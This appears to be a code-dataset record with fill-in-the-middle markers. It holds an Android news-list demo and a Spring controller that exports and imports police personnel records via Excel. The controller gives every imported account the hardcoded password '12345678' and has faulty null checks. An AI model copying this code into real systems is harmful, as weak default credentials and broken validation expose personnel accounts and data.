entities.add(new RenderEntitiy2("", "以色列防长称以仍未排除军事打击伊朗可能性", "2012-05-23 13:57:00", "中新网5月23日电据外媒报道,以色列国防部长巴拉克23日表示,伊朗与国际原子能机构达成的开放核设施的初步协议,并不能让以色列排除军事打击伊朗的可能。巴拉克说,他对伊朗与国际原子能机构达成的这一初步协议“持怀疑态度”,认为这一协议不过是伊"));
entities.add(new RenderEntitiy2("http://res01.mimg.ifeng.com/g?url=http://y1.ifengimg.com/1b0c4ed4543066da/2012/0523/ori_4fbc5737d7df0.jpeg&w=100&h=-1&v=6a6263212f&r=1", "李克峰:那一年,我读列夫·托尔斯泰", "2012-05-23 11:20:33", "1983年,我是学生,托尔斯泰是书架上的藏书。当时,没有酒吧、歌舞厅和洗脚城。从军队或农村回京的青年,骑自行车到消息灵通人士家里泡着,谈“人家美国……”,那叫沙龙。大家可以拎着烧开水的大铝壶,到饭馆去打1块4毛钱1斤的散装啤酒喝,但"));
entities.add(new RenderEntitiy2("", "印度一公交车冲进恒河致26人死亡 系超载失控", "2012-05-23 15:19:00", "中新网5月23日电据外媒报道,印度警方透露,一辆公交车当地时间22日晚间冲进恒河,造成26人死亡,另有4人受重伤。救援人员已经在河中工作超过4个小时搜寻失踪者以及遇难者遗体。当地警方透露,这辆公交车载有45人,在开往圣城里希盖什的路"));
entities.add(new RenderEntitiy2("", "奥巴马称卡梅伦在北约峰会期间曾偷溜外出观光", "2012-05-23 13:05:58", "5月21日,美国总统奥巴马(前右)和英国首相卡梅伦(前左)出席北约峰会阿富汗会议(新华社)国际在线专稿:据英国《每日邮报》5月22日报道,美国总统奥巴马(BarackObama)日前曝光称,英国首相卡梅伦(DavidCamero"));
entities.add(new RenderEntitiy2("http://res01.mimg.ifeng.com/g?url=http://y0.ifengimg.com/news_spider/dci_2012/05/8baed005fac3fc57d07354a5101d2a7f.jpg&w=100&h=-1&v=e702ebc3b4&r=1", "伦敦奥运门票即将开售 开幕式最高票价2012英镑", "2012-05-23 13:38:00", "伦敦奥运门票图样(图片来源:黑龙江日报)中广网北京5月22日消息据中国之声《全球华语广播网》报道,因为是在本土举办,英国人今年看奥运的热情空前高涨。不过,伦敦奥运会的门票现在是又贵又难买,看开幕式最贵门票合人民币2万多,要知道4年"));
return entities;
}
}
| 13leaf/QADDroid | QADSample/src/com/qad/demo/render/Render2.java | 3,193 | //res01.mimg.ifeng.com/g?url=http://y1.ifengimg.com/news_spider/dci_2012/05/2752bf82d2c00a60b5a7f4349ae38ba5.jpg&w=100&h=-1&v=202f8241d0&r=1", "陈水扁戒护就医结束 医生:血块不是恶性肿瘤", "2012-05-23 15:03:00", "资料图:陈水扁。中新网5月23日电据台湾“中广新闻”报道,陈水扁今天(23日)前往林口长庚医院戒护就医,在中午诊疗结束,随后戒护返回台北监狱,受委托前往关心的台大医院柯文哲医生表示,有一些心血管阻塞的现象,不过还没有到临床上有生"));
| line_comment | zh-cn | package com.qad.demo.render;
import java.util.ArrayList;
import android.os.Bundle;
import com.qad.app.BaseListActivity;
import com.qad.demo.R.drawable;
import com.qad.demo.R.layout;
import com.qad.loader.ImageLoader;
import com.qad.loader.service.LoadServices;
import com.qad.render.RenderEngine;
public class Render2 extends BaseListActivity{
@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
ArrayList<RenderEntitiy2> entities=buildEntities();
RenderEngine.render(getListView(), layout.render2, entities,new ImageLoader(LoadServices.newHttpImageNoCache(me),getResources().getDrawable(drawable.icon)),null);
}
private ArrayList<RenderEntitiy2> buildEntities() {
ArrayList<RenderEntitiy2> entities=new ArrayList<RenderEntitiy2>();
entities.add(new RenderEntitiy2("", "德国14岁少年校园开枪射击 操场与警方对峙", "2012-05-23 11:16:00", "德国警方逮捕一名在校园内开枪射击的14岁少年。中新网5月23日电据外电报道,德国巴伐利亚州梅明根市一名14岁少年22日在校园内持枪射击,后遭到警方逮捕。据悉,该男孩当时在学校的操场内与警方对峙,还将枪指向自己威胁要自杀。报"));
entities.add(new RenderEntitiy2("http://re <SUF>
entities.add(new RenderEntitiy2("", "广东广电局副局长:广电总局从来没有发过限娱令", "2012-05-23 15:55:37", "羊城晚报讯记者刘玮宁、通讯员陈燕舒、实习生秦雪星报道:22日上午,记者从广东省广电局上线省政风行风热线节目“民声热线”中了解到,2011年,广东省广播电影电视局受理观众对在境外电视节目中违规插播广告的投诉有253件。对此,有关负责人表示"));
entities.add(new RenderEntitiy2("http://res01.mimg.ifeng.com/g?url=http://y3.ifengimg.com/abaae711ba7f5202/2012/0523/rdn_4fbc928337db6.jpg&w=100&h=-1&v=8a6c495e66&r=1", "毛泽东送毛岸英赴朝细节:很高兴将酒一饮而尽", "2012-05-23 15:33:44", "核心提示:豪爽的彭德怀亲见毛岸英的参军热情、又见毛泽东希望岸英能参军入伍,遂答应了他们父子俩的请求。那天,毛泽东兴致极高,竟将杯中酒一饮而尽,并连喝数杯。毛泽东饮酒照资料图本文摘自人民网作者:佚名原题为:毛泽东:“喝酒"));
entities.add(new RenderEntitiy2("http://res01.mimg.ifeng.com/g?url=http://y3.ifengimg.com/7b28ede2da65d6e2/2012/0523/ori_4fbc9c0a5dcfd.jpeg&w=100&h=-1&v=15d34ccc55&r=1", "专家:水中含雌激素不奇怪 没必要担心", "2012-05-23 16:14:48", "漫画/陈春鸣据新华社电日前,一条称“自来水中含有避孕药”的微博引起网民热议。相关领域专家告诉记者,所谓“避孕药”的说法实属噱头,其实准确的说法应该是水里检测出雌激素成分。据专家解释,在合格水质下,雌激素的含量比较微量,不会对"));
entities.add(new RenderEntitiy2("", "长江流域进入汛期 海事部门严防船舶触礁搁浅", "2012-05-23 12:04:00", "宜昌港停泊囤船巳加长“跳船”应对水位上涨。 望作信 摄中新网宜昌5月23日电(望作信李麟)受近期长江流域连续强降雨和上游及各支流来水增多的双重影响,长江重庆至上海,各主要港口相继告别枯水位,长江干线结束长达七个月的枯水期,长江流"));
entities.add(new RenderEntitiy2("http://res01.mimg.ifeng.com/g?url=http://y1.ifengimg.com/news_spider/dci_2012/05/df48952462d1797b0b45decef5a9c7fd.jpg&w=100&h=-1&v=557e2dbaa2&r=1", "英一硕士投简历逾万次未果 背广告牌推销自己", "2012-05-23 14:41:46", "英国硕士罗宾·诺顿背广告牌推销自己(网页截图) 国际在线专稿:据英国《每日邮报》5月22日报道,英国一位硕士过去十年间投简历1.5万份,但却没有找到一份全职工作。他目前整天背着广告牌沿着公路行走,希望能够找到工作。这名硕士叫"));
entities.add(new RenderEntitiy2("", "张弛:“是中国人就转”的话语困境", "2012-05-23 13:57:42", "网上总有一些话,能让人看后长吁短叹又忍俊不禁,比如出镜率极高的“是中国人的就转”,又或者是它的孪生兄弟“不转不是中国人”。每每看到这句话,我在未点击鼠标左键之后都要掏出身份证来确认一下,看看它背后的“中华人民共和国”会不会易名改姓。只是"));
entities.add(new RenderEntitiy2("", "以色列防长称以仍未排除军事打击伊朗可能性", "2012-05-23 13:57:00", "中新网5月23日电据外媒报道,以色列国防部长巴拉克23日表示,伊朗与国际原子能机构达成的开放核设施的初步协议,并不能让以色列排除军事打击伊朗的可能。巴拉克说,他对伊朗与国际原子能机构达成的这一初步协议“持怀疑态度”,认为这一协议不过是伊"));
entities.add(new RenderEntitiy2("http://res01.mimg.ifeng.com/g?url=http://y1.ifengimg.com/1b0c4ed4543066da/2012/0523/ori_4fbc5737d7df0.jpeg&w=100&h=-1&v=6a6263212f&r=1", "李克峰:那一年,我读列夫·托尔斯泰", "2012-05-23 11:20:33", "1983年,我是学生,托尔斯泰是书架上的藏书。当时,没有酒吧、歌舞厅和洗脚城。从军队或农村回京的青年,骑自行车到消息灵通人士家里泡着,谈“人家美国……”,那叫沙龙。大家可以拎着烧开水的大铝壶,到饭馆去打1块4毛钱1斤的散装啤酒喝,但"));
entities.add(new RenderEntitiy2("", "印度一公交车冲进恒河致26人死亡 系超载失控", "2012-05-23 15:19:00", "中新网5月23日电据外媒报道,印度警方透露,一辆公交车当地时间22日晚间冲进恒河,造成26人死亡,另有4人受重伤。救援人员已经在河中工作超过4个小时搜寻失踪者以及遇难者遗体。当地警方透露,这辆公交车载有45人,在开往圣城里希盖什的路"));
entities.add(new RenderEntitiy2("", "奥巴马称卡梅伦在北约峰会期间曾偷溜外出观光", "2012-05-23 13:05:58", "5月21日,美国总统奥巴马(前右)和英国首相卡梅伦(前左)出席北约峰会阿富汗会议(新华社)国际在线专稿:据英国《每日邮报》5月22日报道,美国总统奥巴马(BarackObama)日前曝光称,英国首相卡梅伦(DavidCamero"));
entities.add(new RenderEntitiy2("http://res01.mimg.ifeng.com/g?url=http://y0.ifengimg.com/news_spider/dci_2012/05/8baed005fac3fc57d07354a5101d2a7f.jpg&w=100&h=-1&v=e702ebc3b4&r=1", "伦敦奥运门票即将开售 开幕式最高票价2012英镑", "2012-05-23 13:38:00", "伦敦奥运门票图样(图片来源:黑龙江日报)中广网北京5月22日消息据中国之声《全球华语广播网》报道,因为是在本土举办,英国人今年看奥运的热情空前高涨。不过,伦敦奥运会的门票现在是又贵又难买,看开幕式最贵门票合人民币2万多,要知道4年"));
return entities;
}
}
| 1 |
48212_3 | package com.nmghr.upms.controller;
import java.io.BufferedInputStream;
import java.io.BufferedOutputStream;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.io.InputStream;
import java.util.ArrayList;
import java.util.Arrays;
import java.util.HashMap;
import java.util.Iterator;
import java.util.LinkedHashMap;
import java.util.List;
import java.util.Map;
import javax.servlet.ServletOutputStream;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import org.apache.commons.collections.CollectionUtils;
import org.slf4j.Logger;
import org.slf4j.LoggerFactory;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.beans.factory.annotation.Qualifier;
import org.springframework.web.bind.annotation.GetMapping;
import org.springframework.web.bind.annotation.PathVariable;
import org.springframework.web.bind.annotation.PostMapping;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RequestParam;
import org.springframework.web.bind.annotation.ResponseBody;
import org.springframework.web.bind.annotation.RestController;
import org.springframework.web.multipart.MultipartFile;
import com.nmghr.basic.common.Constant;
import com.nmghr.basic.common.Result;
import com.nmghr.basic.core.common.LocalThreadStorage;
import com.nmghr.basic.core.service.IBaseService;
import com.nmghr.basic.core.service.handler.ISaveHandler;
import com.nmghr.basic.core.util.SpringUtils;
import com.nmghr.upms.controller.vo.personVo;
import com.sargeraswang.util.ExcelUtil.ExcelUtil;
//import com.sargeraswang.util.ExcelUtil.ExcelUtil2019;
@RestController
@RequestMapping("/excel")
public class ExcelController {
private static final Logger log = LoggerFactory.getLogger(ExcelController.class);
@Autowired
@Qualifier("baseService")
private IBaseService baseService;
@GetMapping(value = "/exporFile/{alias}")
@ResponseBody
public void importFile(@PathVariable String alias, @RequestParam Map<String, Object> requestParam,
HttpServletRequest request, HttpServletResponse response) throws Exception {
ByteArrayOutputStream os = new ByteArrayOutputStream();
Map<String, String> headersMap = new LinkedHashMap<String, String>();
Map<String, Integer> headerMapWidth = new LinkedHashMap<String, Integer>();
Integer type = Integer.getInteger(String.valueOf(requestParam.get("type")));
type = Integer.parseInt(request.getParameter("type"));
Map<String, String[]> hm = request.getParameterMap();
Iterator it = hm.keySet().iterator();
Map<String, Object> param = new HashMap<String, Object>();
while (it.hasNext()) {
String key = it.next().toString();
String[] values = (String[]) hm.get(key);
if (values != null && values.length == 1) {
param.put(key, values[0]);
}
}
String fileName = "下载数据";
if (type == 1) {
fileName = "机构信息";
headersMap.put("sequence", "序号");
headersMap.put("departName", "机构全称");
headersMap.put("departLevel", "机构级别");
headersMap.put("realityNum", "实有人数 ");
headersMap.put("areaName", "所属行政区划");
headersMap.put("mainLeader", "主要负责人");
headersMap.put("subofficeLeader", "分管局领导");
headerMapWidth.put("0", 1000);
headerMapWidth.put("1", 10000);
headerMapWidth.put("2", 2500);
headerMapWidth.put("3", 2000);
headerMapWidth.put("4", 5000);
headerMapWidth.put("5", 4000);
headerMapWidth.put("6", 4000);
}
if (type == 2) {
fileName = "人员信息";
headersMap.put("sequence", "序号");
headersMap.put("realName", "姓名");
headersMap.put("userName", "警号");
headersMap.put("userIdNumber", "身份证号");
headersMap.put("userSex", "性别");
headersMap.put("workerGrade", "现任职级");
headersMap.put("workerDuty", "现任职务");
headersMap.put("workerPhone", "办公电话");
headersMap.put("phone", "手机号码");
headersMap.put("userSort", "人员类别");
headersMap.put("userState", "状态");
headerMapWidth.put("0", 1000);
headerMapWidth.put("1", 5000);
headerMapWidth.put("2", 2500);
headerMapWidth.put("3", 5000);
headerMapWidth.put("4", 1200);
headerMapWidth.put("5", 3000);
headerMapWidth.put("6", 3000);
headerMapWidth.put("7", 3200);
headerMapWidth.put("8", 3000);
headerMapWidth.put("9", 2000);
headerMapWidth.put("10", 4000);
}
LocalThreadStorage.put(Constant.CONTROLLER_ALIAS, alias.toUpperCase());
alias = Constant.getHandlerBeanName(alias, Constant.OPERATOR_QUERY);
List<Map<String, Object>> list = new ArrayList<Map<String, Object>>();
list = (List<Map<String, Object>>) baseService.list(requestParam);
if (type == 1) {
list = tolist(list);
}
if (type == 2) {
list = userlist(list);
}
Integer[] lockedArray = new Integer[] { 15 };// 锁定列
ArrayList<Integer> lockedList = new ArrayList<Integer>(Arrays.asList(lockedArray));
//ExcelUtil2019.exportExcel(headersMap, list, os, lockedList, headerMapWidth);
// 配置浏览器下载
byte[] content = os.toByteArray();
InputStream is = new ByteArrayInputStream(content);
response.reset();
response.setContentType("application/vnd.ms-excel;charset=utf-8");
response.setHeader("Content-Disposition",
"attachment;filename=" + new String((fileName + ".xlsx").getBytes(), "iso-8859-1"));
ServletOutputStream out = response.getOutputStream();
BufferedInputStream bis = null;
BufferedOutputStream bos = null;
try {
bis = new BufferedInputStream(is);
bos = new BufferedOutputStream(out);
byte[] buff = new byte[2048];
int bytesRead;
while (-1 != (bytesRead = bis.read(buff, 0, buff.length))) {
bos.write(buff, 0, bytesRead);
}
} catch (final IOException e) {
throw e;
} finally {
if (bis != null)
bis.close();
if (bos != null)
bos.close();
}
}
@PostMapping(value = "/uploadFile")
@ResponseBody
public Object uploadFile(@RequestParam("file") MultipartFile mulFile, @RequestParam("type") int type,
HttpServletRequest request) {
log.info("excel uploadFile file start {}{}", mulFile, type);
Map<String, Object> result = new HashMap<String, Object>();
try {
if (null != mulFile && type > 0) {
if (type == 1) {
List<personVo> list = (List<personVo>) ExcelUtil.importExcel(personVo.class,
mulFile.getInputStream(), 0);
if (!CollectionUtils.isEmpty(list))
log.info("excel uploadFile file query size {}", list.size());
String message = savePerson(list);
if ("true".equals(message)) {
return Result.ok(result);
} else {
return Result.fail("999999", "以下警号警员信息不全或已经添加:" + message);
}
}
}
return Result.ok(result);
} catch (Exception e) {
// TODO Auto-generated catch block
log.error("excel uploadFile error", e.getMessage());
e.printStackTrace();
}
log.info("excel uploadFile file end");
return Result.fail("999999", "导入异常");
}
private String savePerson(List<personVo> list) throws Exception {
String messge = " ";
for (personVo person : list) {
if (validation(person)) {
Map<String, Object> personMap = new HashMap<String, Object>();
personMap.put("userName", person.getUserName());
personMap.put("passWord", "12345678");
personMap.put("realName", person.getName());
personMap.put("userIdNumber", person.getIdNumber());
personMap.put("phone", person.getPhone());
personMap.put("appCode", 0);
personMap.put("createId", 0);
personMap.put("deleteable", 0);
personMap.put("enabled", 1);
personMap.put("isUpms", 1);
personMap.put("pwdFree", 0);
personMap.put("userSex", person.getSex());
personMap.put("userType", 0);
personMap.put("userState", person.getUserSort());
personMap.put("userSort", 1);
ISaveHandler saveHandler = SpringUtils.getBean("userSaveHandler", ISaveHandler.class);
Object object = saveHandler.save(personMap);// user
Map<String, Object> appMap = new HashMap<String, Object>();
appMap.put("appId", 1);
appMap.put("userId", object);
ISaveHandler saveAppHandler = SpringUtils.getBean("userallotappSaveHandler", ISaveHandler.class);
saveAppHandler.save(appMap);// app
if (person.getDepartCode() != null || "".equals(person.getDepartCode())) {
LocalThreadStorage.put(Constant.CONTROLLER_ALIAS, "DEPARTID");
Map<String, Object> departIdmap = (Map<String, Object>) baseService
.get(person.getDepartCode().toString());
Map<String, Object> departMap = new HashMap<String, Object>();
departMap.put("userId", object);
departMap.put("departId", departIdmap.get("id"));
departMap.put("appId", 1);
ISaveHandler saveDepartHandler = SpringUtils.getBean("userallotdepartSaveHandler",
ISaveHandler.class);
saveDepartHandler.save(departMap);// depart
}
if (person.getRole() != null || "".equals(person.getRole())) {
LocalThreadStorage.put(Constant.CONTROLLER_ALIAS, "ROLEID");
Map<String, Object> roleIdmap = (Map<String, Object>) baseService.get(person.getRole().toString());
Map<String, Object> roleMap = new HashMap<String, Object>();
roleMap.put("roleId", roleIdmap.get("id"));
roleMap.put("appId", 1);
roleMap.put("userId", object);
ISaveHandler saveRoleHandler = SpringUtils.getBean("userallotroleSaveHandler", ISaveHandler.class);
saveRoleHandler.save(roleMap);// role
}
} else {
messge = messge + "," + person.getUserName();
}
}
if (messge.length() > 2) {
return messge;
} else {
return "true";
}
}
private boolean validation(personVo person) throws Exception {
if (person.getIdNumber() == null || "".equals(person.getIdNumber())) {
return false;
} else if (person.getName() == null || "".equals(person.getName())) {
return false;
} else if (person.getPhone() == null || "".equals(person.getPhone())) {
return false;
} else if (person.getSex() == null || "".equals(person.getSex())) {
return false;
} else if (person.getUserName() == null || "".equals(person.getUserName())) {
return false;
} else if (person.getUserSort() == null || "".equals(person.getUserSort())) {
return false;
}
if ("男".equals(person.getSex())) {
person.setSex("0");
} else if ("女".equals(person.getSex())) {
person.setSex("1");
} else if ("不详".equals(person.getSex())) {
person.setSex("2");
}
if ("民警".equals(person.getUserSort())) {
person.setUserSort("1");
} else if ("辅警".equals(person.getUserSort())) {
person.setUserSort("2");
} else if ("工勤".equals(person.getUserSort())) {
person.setUserSort("3");
}
Map<String, Object> map = new HashMap<String, Object>();
LocalThreadStorage.put(Constant.CONTROLLER_ALIAS, "USERNAME");
map.put("userName", person.getUserName());
List<Map<String, Object>> roleIdmap = (List<Map<String, Object>>) baseService.list(map);
if (roleIdmap != null && roleIdmap.size() > 0) {
return false;
}
return true;
}
private List<Map<String, Object>> tolist(List<Map<String, Object>> list) {
int i = 1;
for (Map<String, Object> map : list) {
map.put("sequence", i + "");
String departLevel = String.valueOf(map.get("departLevel"));
if ("1".equals(departLevel)) {
map.put("departLevel", "正厅级");
} else if ("2".equals(departLevel)) {
map.put("departLevel", "副厅级");
} else if ("3".equals(departLevel)) {
map.put("departLevel", "正处级");
} else if ("4".equals(departLevel)) {
map.put("departLevel", "副处级");
} else if ("5".equals(departLevel)) {
map.put("departLevel", "正科级");
} else if ("6".equals(departLevel)) {
map.put("departLevel", "副科级");
} else if ("7".equals(departLevel)) {
map.put("departLevel", "副科级以下");
}
i++;
}
return list;
}
private List<Map<String, Object>> userlist(List<Map<String, Object>> list) {
int i = 1;
for (Map<String, Object> map : list) {
map.put("sequence", i + "");
String userIdNumber = String.valueOf(map.get("userIdNumber"));
String idCard = "";
if (userIdNumber.length() == 15) {
idCard = userIdNumber.replaceAll("(?<=\\w{9})\\w(?=\\w{0})", "*");
} else if (userIdNumber.length() == 18) {
idCard = userIdNumber.replaceAll("(?<=\\w{12})\\w(?=\\w{0})", "*");
}
map.put("userIdNumber", idCard);
String userSex = String.valueOf(map.get("userSex"));
if ("0".equals(userSex)) {
map.put("userSex", "男");
} else if ("1".equals(userSex)) {
map.put("userSex", "女");
} else if ("2".equals(userSex)) {
map.put("userSex", "未知");
}
String workerGrade = String.valueOf(map.get("workerGrade"));
if ("1".equals(workerGrade)) {
map.put("workerGrade", "副厅级");
} else if ("2".equals(workerGrade)) {
map.put("workerGrade", "一级高级警长");
} else if ("3".equals(workerGrade)) {
map.put("workerGrade", "二级高级警长");
} else if ("4".equals(workerGrade)) {
map.put("workerGrade", "三级高级警长");
} else if ("5".equals(workerGrade)) {
map.put("workerGrade", "四级高级警长");
} else if ("6".equals(workerGrade)) {
map.put("workerGrade", "一级警长");
} else if ("7".equals(workerGrade)) {
map.put("workerGrade", "二级警长");
} else if ("8".equals(workerGrade)) {
map.put("workerGrade", "三级警长");
} else if ("9".equals(workerGrade)) {
map.put("workerGrade", "四级警长");
} else if ("10".equals(workerGrade)) {
map.put("workerGrade", "一级警员");
} else if ("11".equals(workerGrade)) {
map.put("workerGrade", "二级警员");
} else if ("12".equals(workerGrade)) {
map.put("workerGrade", "无");
}
String workerDuty = String.valueOf(map.get("workerDuty"));
String departType = String.valueOf(map.get("departType"));
if ("1".equals(departType)) {
if ("1".equals(workerDuty)) {
map.put("workerDuty", "总队长");
} else if ("2".equals(workerDuty)) {
map.put("workerDuty", "政委");
} else if ("3".equals(workerDuty)) {
map.put("workerDuty", "副总队长");
} else if ("4".equals(workerDuty)) {
map.put("workerDuty", "队(科)长");
} else if ("5".equals(workerDuty)) {
map.put("workerDuty", "副队(科)长");
} else if ("6".equals(workerDuty)) {
map.put("workerDuty", "无");
}
} else if ("2".equals(departType)) {
if ("1".equals(workerDuty)) {
map.put("workerDuty", "支队长");
} else if ("2".equals(workerDuty)) {
map.put("workerDuty", "政委");
} else if ("3".equals(workerDuty)) {
map.put("workerDuty", "副支队长");
} else if ("4".equals(workerDuty)) {
map.put("workerDuty", "大队(科)长");
} else if ("5".equals(workerDuty)) {
map.put("workerDuty", "副大队(科)长");
} else if ("6".equals(workerDuty)) {
map.put("workerDuty", "无");
}
} else if ("3".equals(departType)) {
if ("1".equals(workerDuty)) {
map.put("workerDuty", "大队长");
} else if ("2".equals(workerDuty)) {
map.put("workerDuty", "教导员");
} else if ("3".equals(workerDuty)) {
map.put("workerDuty", "副大队长");
} else if ("4".equals(workerDuty)) {
map.put("workerDuty", "无");
}
} else if ("4".equals(departType)) {
if ("1".equals(workerDuty)) {
map.put("workerDuty", "所长");
} else if ("2".equals(workerDuty)) {
map.put("workerDuty", "教导员");
} else if ("3".equals(workerDuty)) {
map.put("workerDuty", "副所长");
} else if ("4".equals(workerDuty)) {
map.put("workerDuty", "无");
}
}
String userSort = String.valueOf(map.get("userSort"));
if ("1".equals(userSort)) {
map.put("userSort", "民警");
} else if ("2".equals(userSort)) {
map.put("userSort", "辅警");
} else if ("3".equals(userSort)) {
map.put("userSort", "工勤");
}
String userState = String.valueOf(map.get("userState"));
if ("1".equals(userSort)) {
if ("1".equals(userState)) {
map.put("userState", "在职");
} else if ("2".equals(userState)) {
map.put("userState", "调离");
} else if ("3".equals(userState)) {
map.put("userState", "病休");
} else if ("4".equals(userState)) {
map.put("userState", "退休");
} else if ("5".equals(userState)) {
map.put("userState", "其他");
}
} else {
if ("1".equals(userState)) {
map.put("userState", "在职");
} else if ("2".equals(userState)) {
map.put("userState", "调离");
} else if ("3".equals(userState)) {
map.put("userState", "退休");
} else if ("4".equals(userState)) {
map.put("userState", "其他");
}
}
i++;
}
return list;
}
}
| 1418014113git/upms | upms-backend/src/main/java/com/nmghr/upms/controller/ExcelController.java | 5,441 | // 配置浏览器下载 | line_comment | zh-cn | package com.nmghr.upms.controller;
import java.io.BufferedInputStream;
import java.io.BufferedOutputStream;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.io.InputStream;
import java.util.ArrayList;
import java.util.Arrays;
import java.util.HashMap;
import java.util.Iterator;
import java.util.LinkedHashMap;
import java.util.List;
import java.util.Map;
import javax.servlet.ServletOutputStream;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import org.apache.commons.collections.CollectionUtils;
import org.slf4j.Logger;
import org.slf4j.LoggerFactory;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.beans.factory.annotation.Qualifier;
import org.springframework.web.bind.annotation.GetMapping;
import org.springframework.web.bind.annotation.PathVariable;
import org.springframework.web.bind.annotation.PostMapping;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RequestParam;
import org.springframework.web.bind.annotation.ResponseBody;
import org.springframework.web.bind.annotation.RestController;
import org.springframework.web.multipart.MultipartFile;
import com.nmghr.basic.common.Constant;
import com.nmghr.basic.common.Result;
import com.nmghr.basic.core.common.LocalThreadStorage;
import com.nmghr.basic.core.service.IBaseService;
import com.nmghr.basic.core.service.handler.ISaveHandler;
import com.nmghr.basic.core.util.SpringUtils;
import com.nmghr.upms.controller.vo.personVo;
import com.sargeraswang.util.ExcelUtil.ExcelUtil;
//import com.sargeraswang.util.ExcelUtil.ExcelUtil2019;
@RestController
@RequestMapping("/excel")
public class ExcelController {
private static final Logger log = LoggerFactory.getLogger(ExcelController.class);
@Autowired
@Qualifier("baseService")
private IBaseService baseService;
@GetMapping(value = "/exporFile/{alias}")
@ResponseBody
public void importFile(@PathVariable String alias, @RequestParam Map<String, Object> requestParam,
HttpServletRequest request, HttpServletResponse response) throws Exception {
ByteArrayOutputStream os = new ByteArrayOutputStream();
Map<String, String> headersMap = new LinkedHashMap<String, String>();
Map<String, Integer> headerMapWidth = new LinkedHashMap<String, Integer>();
Integer type = Integer.getInteger(String.valueOf(requestParam.get("type")));
type = Integer.parseInt(request.getParameter("type"));
Map<String, String[]> hm = request.getParameterMap();
Iterator it = hm.keySet().iterator();
Map<String, Object> param = new HashMap<String, Object>();
while (it.hasNext()) {
String key = it.next().toString();
String[] values = (String[]) hm.get(key);
if (values != null && values.length == 1) {
param.put(key, values[0]);
}
}
String fileName = "下载数据";
if (type == 1) {
fileName = "机构信息";
headersMap.put("sequence", "序号");
headersMap.put("departName", "机构全称");
headersMap.put("departLevel", "机构级别");
headersMap.put("realityNum", "实有人数 ");
headersMap.put("areaName", "所属行政区划");
headersMap.put("mainLeader", "主要负责人");
headersMap.put("subofficeLeader", "分管局领导");
headerMapWidth.put("0", 1000);
headerMapWidth.put("1", 10000);
headerMapWidth.put("2", 2500);
headerMapWidth.put("3", 2000);
headerMapWidth.put("4", 5000);
headerMapWidth.put("5", 4000);
headerMapWidth.put("6", 4000);
}
if (type == 2) {
fileName = "人员信息";
headersMap.put("sequence", "序号");
headersMap.put("realName", "姓名");
headersMap.put("userName", "警号");
headersMap.put("userIdNumber", "身份证号");
headersMap.put("userSex", "性别");
headersMap.put("workerGrade", "现任职级");
headersMap.put("workerDuty", "现任职务");
headersMap.put("workerPhone", "办公电话");
headersMap.put("phone", "手机号码");
headersMap.put("userSort", "人员类别");
headersMap.put("userState", "状态");
headerMapWidth.put("0", 1000);
headerMapWidth.put("1", 5000);
headerMapWidth.put("2", 2500);
headerMapWidth.put("3", 5000);
headerMapWidth.put("4", 1200);
headerMapWidth.put("5", 3000);
headerMapWidth.put("6", 3000);
headerMapWidth.put("7", 3200);
headerMapWidth.put("8", 3000);
headerMapWidth.put("9", 2000);
headerMapWidth.put("10", 4000);
}
LocalThreadStorage.put(Constant.CONTROLLER_ALIAS, alias.toUpperCase());
alias = Constant.getHandlerBeanName(alias, Constant.OPERATOR_QUERY);
List<Map<String, Object>> list = new ArrayList<Map<String, Object>>();
list = (List<Map<String, Object>>) baseService.list(requestParam);
if (type == 1) {
list = tolist(list);
}
if (type == 2) {
list = userlist(list);
}
Integer[] lockedArray = new Integer[] { 15 };// 锁定列
ArrayList<Integer> lockedList = new ArrayList<Integer>(Arrays.asList(lockedArray));
//ExcelUtil2019.exportExcel(headersMap, list, os, lockedList, headerMapWidth);
// 配置 <SUF>
byte[] content = os.toByteArray();
InputStream is = new ByteArrayInputStream(content);
response.reset();
response.setContentType("application/vnd.ms-excel;charset=utf-8");
response.setHeader("Content-Disposition",
"attachment;filename=" + new String((fileName + ".xlsx").getBytes(), "iso-8859-1"));
ServletOutputStream out = response.getOutputStream();
BufferedInputStream bis = null;
BufferedOutputStream bos = null;
try {
bis = new BufferedInputStream(is);
bos = new BufferedOutputStream(out);
byte[] buff = new byte[2048];
int bytesRead;
while (-1 != (bytesRead = bis.read(buff, 0, buff.length))) {
bos.write(buff, 0, bytesRead);
}
} catch (final IOException e) {
throw e;
} finally {
if (bis != null)
bis.close();
if (bos != null)
bos.close();
}
}
@PostMapping(value = "/uploadFile")
@ResponseBody
public Object uploadFile(@RequestParam("file") MultipartFile mulFile, @RequestParam("type") int type,
HttpServletRequest request) {
log.info("excel uploadFile file start {}{}", mulFile, type);
Map<String, Object> result = new HashMap<String, Object>();
try {
if (null != mulFile && type > 0) {
if (type == 1) {
List<personVo> list = (List<personVo>) ExcelUtil.importExcel(personVo.class,
mulFile.getInputStream(), 0);
if (!CollectionUtils.isEmpty(list))
log.info("excel uploadFile file query size {}", list.size());
String message = savePerson(list);
if ("true".equals(message)) {
return Result.ok(result);
} else {
return Result.fail("999999", "以下警号警员信息不全或已经添加:" + message);
}
}
}
return Result.ok(result);
} catch (Exception e) {
// TODO Auto-generated catch block
log.error("excel uploadFile error", e.getMessage());
e.printStackTrace();
}
log.info("excel uploadFile file end");
return Result.fail("999999", "导入异常");
}
private String savePerson(List<personVo> list) throws Exception {
String messge = " ";
for (personVo person : list) {
if (validation(person)) {
Map<String, Object> personMap = new HashMap<String, Object>();
personMap.put("userName", person.getUserName());
personMap.put("passWord", "12345678");
personMap.put("realName", person.getName());
personMap.put("userIdNumber", person.getIdNumber());
personMap.put("phone", person.getPhone());
personMap.put("appCode", 0);
personMap.put("createId", 0);
personMap.put("deleteable", 0);
personMap.put("enabled", 1);
personMap.put("isUpms", 1);
personMap.put("pwdFree", 0);
personMap.put("userSex", person.getSex());
personMap.put("userType", 0);
personMap.put("userState", person.getUserSort());
personMap.put("userSort", 1);
ISaveHandler saveHandler = SpringUtils.getBean("userSaveHandler", ISaveHandler.class);
Object object = saveHandler.save(personMap);// user
